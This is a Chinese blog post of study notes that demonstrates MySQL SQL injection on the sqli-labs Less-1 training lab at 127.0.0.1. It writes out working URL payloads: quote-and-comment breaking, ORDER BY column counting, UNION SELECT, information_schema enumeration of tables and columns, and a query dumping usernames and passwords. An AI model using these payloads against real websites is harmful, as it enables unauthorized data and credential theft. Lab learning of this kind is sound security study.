(2020上半年第7天)小迪网络安全笔记(操作①)mysql基本注入流程演示

基本注入流程演示
材料:phpstudypro+PHPMySQL+sqlilabs
sqlilabs的less-1第一关
注意:网站php和网站涉及的数据库的各种关联要看清
在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述

补充:基本注入尝试
类型①:
url:http://127.0.0.1/?id=1and1=1
在sql中显示为:select * from users where id='1and1=1'limit 0,1(在sql中单引号中是字符串)
效果:
在这里插入图片描述

解释:单引号使id后面成了字符串and没作用了and失去了它的意义,sql中单引号括起来的是字符串(php和sql语法上的差别)
就无法注入了
解决办法:
url:http://127.0.0.1/sqlilabs/Less-1/?id=1’and1=1--+(1后面写个单引号,最后面用–+注释)
在mysql中就显示为:select * from users where id='1'and1=1 --+'limit 0,1 (注意变化)
解释:–+意思是–+后面的全注释掉了–+是mysql的注释符,但在url中没用
效果:
在这里插入图片描述

补充:
在真实的测试中,我不知道网站的源码那我怎么知道呢
在url后面胡乱打试一试(针对这个题):
url:http://127.0.0.1/sqlilabs/Less-1/?id=1sadsadasdwdsdadadadwawd结果成功操作(能用)(不知道为什么能用,就直接放到mysql试试看看什么效果)(url直接给了mysql,数据库解释到了)
在这里插入图片描述

注意:dumb这个是从数据库调出来的
但是这样却失败了
url:http://127.0.0.1/sqlilabs/Less-1/?id=1'sadsadasdwdsdadadadwawd(结果错误)
在这里插入图片描述

分析该网站php文件和数据库
什么是注入点?
答:如果sql解析成功就证明这个可以用是能用的,这就是注入点,一旦能用就会有破坏就会有影响(就是我无论写什么只要能对你的sql产生了影响,这个就是注入点就是注点)
结果无论对错

-------------------分割线-----------------------------------正片开始-------------

注入技巧:
注意:由于phpstudy2018+phpmyadmin+sqlilabs单间总是出现问题,so…以后我们使用phpstudypro+phpmyadmin+sqliabs(网上配置啥的文章很多这里一些简单的操作就不再赘述了)

我们采用的是sqlilabs/less-1

联合查询(orderby和unionselect)
数据库和php文件都没变,注意实时参考文件头的三张截图(最好自己操作)

多种情况:
①orderby操作
orderby3这个直接放到url后面,(注意:3这个意思是有3列,也就是数据库中有三列),这个靠蒙(3没问题4有问题就知道了有三列了)
orderby3
在这里插入图片描述

orderby4
在这里插入图片描述

(注意:orderby后面必须有数字)
url:/?id=2’orderby3这个2时输入值,看上节课操作,3是该网站对应数据库mysql有三列

②unionselect操作
?id=2' union select 1,2,3--+(un后面的1,2,3是指上面orderby查出的三列,如果上面4就写1,2,3,4,)
解释:–+的意思是把后面的’屏蔽,避免与id后的单引号出现把中间变字符
1,2,3是因为orderby后是3
在这里插入图片描述

正确了那又能怎么样呢?又不显示什么有用的信息,那下面我们就用报错显示
获取数据库的名字(报错显示)
?id=-2' union select 1,2,3--+(在2前面加负号)
-2让他报错,显示出有数据的列
在这里插入图片描述

④显示出数据库的名字

?id=2' union select 1,2,database(),3--+

在这里插入图片描述

⑤获取数据库表名
我们将利用information_schema来查询数据库表名
information_schema:自带数据库mysql5.0以上版本自带存储有mysql数据库下所有数据库里面的数据信息,包括表名列明等所以我们可以根据查询他获取指定数据库下的表名和列名

table_name:表名
column_name:列明
information_schema.tables:存储表明信息的表
information_schema.columns:存储列明信息的表
table_schema:数据库名
mysql中符号“.”代表下一级
例如:information_schema.tables:数据库infor…下的tables表

操作:获取数据库security下面的表名信息
操作:输入url

127.0.0.1/sqlilabs/Less-1/?id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

注意:group_concat(table_name)把这个里面所有信息显示出来(如果没有这个的话就只会显示一个表明)
在这里插入图片描述

作用:(可能会获取到一些管理员的信息)
在这里插入图片描述

⑥获取列名:
获取数据库security下表名users下的列名信息(注意级别也要改上面查的是表名这个是列名)

http://127.0.0.1/sqlilabs/Less-1/?id=-2'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users’ and table_schema=’security’--+

在这里插入图片描述

解析: and table_schema=’’可以使所求列名更精准,例如:如果一个表有id和name但是用没有and table_schema=’’查出来的可能是id,name,http,ID等so…一定要加

⑥获取数据:

Url:http://127.0.0.1/sqlilabs/Less-1/?id=-2’ union select 1,password,username from users limit 0,1--+

注意limit后面是坐标0是1,
在这里插入图片描述

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

.白菜白菜大白菜.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值